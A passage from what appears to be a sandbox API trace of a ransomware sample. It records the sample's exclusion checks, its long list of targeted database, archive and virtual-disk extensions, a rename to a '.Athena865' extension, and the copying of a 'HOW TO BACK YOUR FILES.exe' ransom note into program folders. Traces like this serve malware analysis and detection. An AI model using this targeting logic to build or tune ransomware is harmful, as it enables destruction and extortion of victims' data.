lpString2="ids.txt") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="ntuser.dat") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="perflogs") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="MSBuild") returned 1 [0042.796] lstrlenW (lpString="returning rpg.exe") returned 17 [0042.796] lstrcpyW (in: lpString1=0x241e898, lpString2="returning rpg.exe" | out: lpString1="returning rpg.exe") returned="returning rpg.exe" [0042.796] lstrlenW (lpString="returning rpg.exe") returned 17 [0042.796] lstrlenW (lpString="Athena865") returned 9 [0042.796] lstrcmpiW (lpString1="g rpg.exe", lpString2="Athena865") returned 1 [0042.796] lstrlenW (lpString=".dll") returned 4 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2=".dll") returned 1 [0042.797] lstrlenW (lpString=".lnk") returned 4 [0042.797] lstrcmpiW (lpString1="returning rpg.exe", lpString2=".lnk") returned 1 [0042.797] lstrlenW (lpString=".ini") returned 4 [0042.797] lstrcmpiW (lpString1="returning rpg.exe", lpString2=".ini") returned 1 [0042.797] lstrlenW (lpString=".sys") returned 4 [0042.797] lstrcmpiW (lpString1="returning rpg.exe", lpString2=".sys") returned 1 [0042.797] lstrlenW (lpString="returning rpg.exe") returned 17 [0042.797] lstrlenW (lpString="bak") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.797] lstrlenW (lpString="ba_") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.797] lstrlenW (lpString="dbb") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.797] lstrlenW (lpString="vmdk") returned 4 [0042.797] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.797] lstrlenW (lpString="rar") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.797] lstrlenW (lpString="zip") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.797] lstrlenW (lpString="tgz") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.797] lstrlenW (lpString="vbox") returned 4 [0042.797] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.797] lstrlenW (lpString="vdi") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.797] lstrlenW (lpString="vhd") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.797] lstrlenW (lpString="vhdx") returned 4 [0042.797] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.797] lstrlenW (lpString="avhd") returned 4 [0042.797] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.797] lstrlenW (lpString="db") returned 2 [0042.797] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.797] lstrlenW (lpString="db2") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.797] lstrlenW (lpString="db3") returned 3 [0042.797] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.798] lstrlenW (lpString="dbf") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.798] lstrlenW (lpString="mdf") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.798] lstrlenW (lpString="mdb") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.798] lstrlenW (lpString="sql") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.798] lstrlenW (lpString="sqlite") returned 6 [0042.798] lstrcmpiW (lpString1="pg.exe", lpString2="sqlite") returned -1 [0042.798] lstrlenW (lpString="sqlite3") returned 7 [0042.798] lstrcmpiW (lpString1="rpg.exe", lpString2="sqlite3") returned -1 [0042.798] lstrlenW (lpString="sqlitedb") returned 8 [0042.798] lstrcmpiW (lpString1=" rpg.exe", lpString2="sqlitedb") returned -1 [0042.798] lstrlenW (lpString="xml") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.798] lstrlenW (lpString="$er") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.798] lstrlenW (lpString="4dd") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.798] lstrlenW (lpString="4dl") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.798] lstrlenW (lpString="^^^") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.798] lstrlenW (lpString="abs") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.798] lstrlenW (lpString="abx") returned 3 [0042.798] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.798] lstrlenW (lpString="accdb") returned 5 [0042.798] lstrcmpiW (lpString1="g.exe", lpString2="accdb") returned 1 [0042.798] lstrlenW (lpString="accdc") returned 5 [0042.798] lstrcmpiW (lpString1="g.exe", lpString2="accdc") returned 1 [0042.798] lstrlenW (lpString="accde") returned 5 [0042.798] lstrcmpiW (lpString1="g.exe", lpString2="accde") returned 1 [0042.798] lstrlenW (lpString="accdr") returned 5 [0042.798] lstrcmpiW (lpString1="g.exe", lpString2="accdr") returned 1 [0042.799] lstrlenW (lpString="accdt") returned 5 [0042.799] lstrcmpiW (lpString1="g.exe", lpString2="accdt") returned 1 [0042.799] lstrlenW (lpString="accdw") returned 5 [0042.799] lstrcmpiW (lpString1="g.exe", lpString2="accdw") returned 1 [0042.799] lstrlenW (lpString="accft") returned 5 [0042.799] lstrcmpiW (lpString1="g.exe", lpString2="accft") returned 1 [0042.799] lstrlenW (lpString="adb") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.799] lstrlenW (lpString="adb") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.799] lstrlenW (lpString="ade") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.799] lstrlenW (lpString="adf") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.799] lstrlenW (lpString="adn") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.799] lstrlenW (lpString="adp") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.799] lstrlenW (lpString="alf") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.799] lstrlenW (lpString="ask") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.799] lstrlenW (lpString="btr") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.799] lstrlenW (lpString="cat") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.799] lstrlenW (lpString="cdb") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.799] lstrlenW (lpString="ckp") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.799] lstrlenW (lpString="cma") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.799] lstrlenW (lpString="cpd") returned 3 [0042.799] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.799] lstrlenW (lpString="dacpac") returned 6 [0042.800] lstrcmpiW (lpString1="pg.exe", lpString2="dacpac") returned 1 [0042.800] lstrlenW (lpString="dad") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.800] lstrlenW (lpString="dadiagrams") returned 10 [0042.800] lstrcmpiW (lpString1="ng rpg.exe", lpString2="dadiagrams") returned 1 [0042.800] lstrlenW (lpString="daschema") returned 8 [0042.800] lstrcmpiW (lpString1=" rpg.exe", lpString2="daschema") returned -1 [0042.800] lstrlenW (lpString="db-journal") returned 10 [0042.800] lstrcmpiW (lpString1="ng rpg.exe", lpString2="db-journal") returned 1 [0042.800] lstrlenW (lpString="db-shm") returned 6 [0042.800] lstrcmpiW (lpString1="pg.exe", lpString2="db-shm") returned 1 [0042.800] lstrlenW (lpString="db-wal") returned 6 [0042.800] lstrcmpiW (lpString1="pg.exe", lpString2="db-wal") returned 1 [0042.800] lstrlenW (lpString="dbc") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.800] lstrlenW (lpString="dbs") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.800] lstrlenW (lpString="dbt") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.800] lstrlenW (lpString="dbv") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.800] lstrlenW (lpString="dbx") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.800] lstrlenW (lpString="dcb") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.800] lstrlenW (lpString="dct") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.800] lstrlenW (lpString="dcx") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.800] lstrlenW (lpString="ddl") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.800] lstrlenW (lpString="dlis") returned 4 [0042.800] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.800] lstrlenW (lpString="dp1") returned 3 [0042.800] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.800] lstrlenW (lpString="dqy") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.801] lstrlenW (lpString="dsk") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.801] lstrlenW (lpString="dsn") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.801] lstrlenW (lpString="dtsx") returned 4 [0042.801] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.801] lstrlenW (lpString="dxl") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.801] lstrlenW (lpString="eco") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.801] lstrlenW (lpString="ecx") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.801] lstrlenW (lpString="edb") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.801] lstrlenW (lpString="epim") returned 4 [0042.801] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.801] lstrlenW (lpString="fcd") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.801] lstrlenW (lpString="fdb") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.801] lstrlenW (lpString="fic") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.801] lstrlenW (lpString="flexolibrary") returned 12 [0042.801] lstrcmpiW (lpString1="ning rpg.exe", lpString2="flexolibrary") returned 1 [0042.801] lstrlenW (lpString="fm5") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.801] lstrlenW (lpString="fmp") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.801] lstrlenW (lpString="fmp12") returned 5 [0042.801] lstrcmpiW (lpString1="g.exe", lpString2="fmp12") returned 1 [0042.801] lstrlenW (lpString="fmpsl") returned 5 [0042.801] lstrcmpiW (lpString1="g.exe", lpString2="fmpsl") returned 1 [0042.801] lstrlenW (lpString="fol") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.801] lstrlenW (lpString="fp3") returned 3 [0042.801] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.802] lstrlenW (lpString="fp4") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.802] lstrlenW (lpString="fp5") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.802] lstrlenW (lpString="fp7") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.802] lstrlenW (lpString="fpt") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.802] lstrlenW (lpString="frm") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.802] lstrlenW (lpString="gdb") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.802] lstrlenW (lpString="gdb") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.802] lstrlenW (lpString="grdb") returned 4 [0042.802] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.802] lstrlenW (lpString="gwi") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.802] lstrlenW (lpString="hdb") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.802] lstrlenW (lpString="his") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.802] lstrlenW (lpString="ib") returned 2 [0042.802] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.802] lstrlenW (lpString="idb") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.802] lstrlenW (lpString="ihx") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.802] lstrlenW (lpString="itdb") returned 4 [0042.802] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.802] lstrlenW (lpString="itw") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.802] lstrlenW (lpString="jet") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.802] lstrlenW (lpString="jtx") returned 3 [0042.802] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.803] lstrlenW (lpString="kdb") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.803] lstrlenW (lpString="kexi") returned 4 [0042.803] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.803] lstrlenW (lpString="kexic") returned 5 [0042.803] lstrcmpiW (lpString1="g.exe", lpString2="kexic") returned -1 [0042.803] lstrlenW (lpString="kexis") returned 5 [0042.803] lstrcmpiW (lpString1="g.exe", lpString2="kexis") returned -1 [0042.803] lstrlenW (lpString="lgc") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.803] lstrlenW (lpString="lwx") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.803] lstrlenW (lpString="maf") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.803] lstrlenW (lpString="maq") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.803] lstrlenW (lpString="mar") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.803] lstrlenW (lpString="marshal") returned 7 [0042.803] lstrcmpiW (lpString1="rpg.exe", lpString2="marshal") returned 1 [0042.803] lstrlenW (lpString="mas") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.803] lstrlenW (lpString="mav") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.803] lstrlenW (lpString="maw") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.803] lstrlenW (lpString="mdbhtml") returned 7 [0042.803] lstrcmpiW (lpString1="rpg.exe", lpString2="mdbhtml") returned 1 [0042.803] lstrlenW (lpString="mdn") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.803] lstrlenW (lpString="mdt") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.803] lstrlenW (lpString="mfd") returned 3 [0042.803] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.803] lstrlenW (lpString="mpd") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.804] lstrlenW (lpString="mrg") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.804] lstrlenW (lpString="mud") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.804] lstrlenW (lpString="mwb") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.804] lstrlenW (lpString="myd") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.804] lstrlenW (lpString="ndf") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.804] lstrlenW (lpString="nnt") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.804] lstrlenW (lpString="nrmlib") returned 6 [0042.804] lstrcmpiW (lpString1="pg.exe", lpString2="nrmlib") returned 1 [0042.804] lstrlenW (lpString="ns2") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.804] lstrlenW (lpString="ns3") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.804] lstrlenW (lpString="ns4") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.804] lstrlenW (lpString="nsf") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.804] lstrlenW (lpString="nv") returned 2 [0042.804] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.804] lstrlenW (lpString="nv2") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.804] lstrlenW (lpString="nwdb") returned 4 [0042.804] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.804] lstrlenW (lpString="nyf") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.804] lstrlenW (lpString="odb") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.804] lstrlenW (lpString="odb") returned 3 [0042.804] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.804] lstrlenW (lpString="oqy") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.805] lstrlenW (lpString="ora") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.805] lstrlenW (lpString="orx") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.805] lstrlenW (lpString="owc") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.805] lstrlenW (lpString="p96") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.805] lstrlenW (lpString="p97") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.805] lstrlenW (lpString="pan") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.805] lstrlenW (lpString="pdb") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.805] lstrlenW (lpString="pdm") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.805] lstrlenW (lpString="pnz") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.805] lstrlenW (lpString="qry") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.805] lstrlenW (lpString="qvd") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.805] lstrlenW (lpString="rbf") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.805] lstrlenW (lpString="rctd") returned 4 [0042.805] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.805] lstrlenW (lpString="rod") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.805] lstrlenW (lpString="rodx") returned 4 [0042.805] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.805] lstrlenW (lpString="rpd") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.805] lstrlenW (lpString="rsd") returned 3 [0042.805] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.805] lstrlenW (lpString="sas7bdat") returned 8 [0042.805] lstrcmpiW (lpString1=" rpg.exe", lpString2="sas7bdat") returned -1 [0042.806] lstrlenW (lpString="sbf") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.806] lstrlenW (lpString="scx") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.806] lstrlenW (lpString="sdb") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.806] lstrlenW (lpString="sdc") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.806] lstrlenW (lpString="sdf") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.806] lstrlenW (lpString="sis") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.806] lstrlenW (lpString="spq") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.806] lstrlenW (lpString="te") returned 2 [0042.806] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.806] lstrlenW (lpString="teacher") returned 7 [0042.806] lstrcmpiW (lpString1="rpg.exe", lpString2="teacher") returned -1 [0042.806] lstrlenW (lpString="tmd") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.806] lstrlenW (lpString="tps") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.806] lstrlenW (lpString="trc") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.806] lstrlenW (lpString="trc") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.806] lstrlenW (lpString="trm") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.806] lstrlenW (lpString="udb") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.806] lstrlenW (lpString="udl") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.806] lstrlenW (lpString="usr") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.806] lstrlenW (lpString="v12") returned 3 [0042.806] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.807] lstrlenW (lpString="vis") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.807] lstrlenW (lpString="vpd") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.807] lstrlenW (lpString="vvv") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.807] lstrlenW (lpString="wdb") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.807] lstrlenW (lpString="wmdb") returned 4 [0042.807] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.807] lstrlenW (lpString="wrk") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.807] lstrlenW (lpString="xdb") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.807] lstrlenW (lpString="xld") returned 3 [0042.807] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.807] lstrlenW (lpString="xmlff") returned 5 [0042.807] lstrcmpiW (lpString1="g.exe", lpString2="xmlff") returned -1 [0042.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe.Athena865") returned 67 [0042.807] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe" (normalized: "c:\\program files (x86)\\microsoft office\\returning rpg.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\returning rpg.exe.athena865"), dwFlags=0x1) returned 1 [0042.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\returning rpg.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.808] GetLastError () returned 0x20 [0042.808] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe CreateFile error 32\r\n") returned 87 [0042.808] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe CreateFile error 32\r\n") returned 87 [0042.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0042.808] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x193f [0042.808] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x57, lpOverlapped=0x0) returned 1 [0042.808] CloseHandle (hObject=0x154) returned 1 [0042.810] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\returning rpg.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\returning rpg.exe" (normalized: "c:\\program files (x86)\\microsoft office\\returning rpg.exe"), dwFlags=0x1) returned 1 [0042.810] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.810] CloseHandle (hObject=0x0) returned 0 [0042.810] CloseHandle (hObject=0xffffffff) returned 0 [0042.810] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafc369d0, ftCreationTime.dwHighDateTime=0x1d520b0, ftLastAccessTime.dwLowDateTime=0x48d2850, ftLastAccessTime.dwHighDateTime=0x1d50af6, ftLastWriteTime.dwLowDateTime=0x48d2850, ftLastWriteTime.dwHighDateTime=0x1d50af6, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="returning rpg.exe", cAlternateFileName="RETURN~1.EXE")) returned 0 [0042.810] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.811] ReleaseMutex (hMutex=0xec) returned 1 [0042.811] CloseHandle (hObject=0xec) returned 1 [0042.811] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0042.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ea08 | out: hHeap=0x4f0000) returned 1 [0042.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5c0 | out: hHeap=0x4f0000) returned 1 [0042.811] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 48 [0042.811] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\03062D183F48E2B81CD54F9B652C4495") returned 0xec [0042.811] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.811] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0042.811] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.811] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 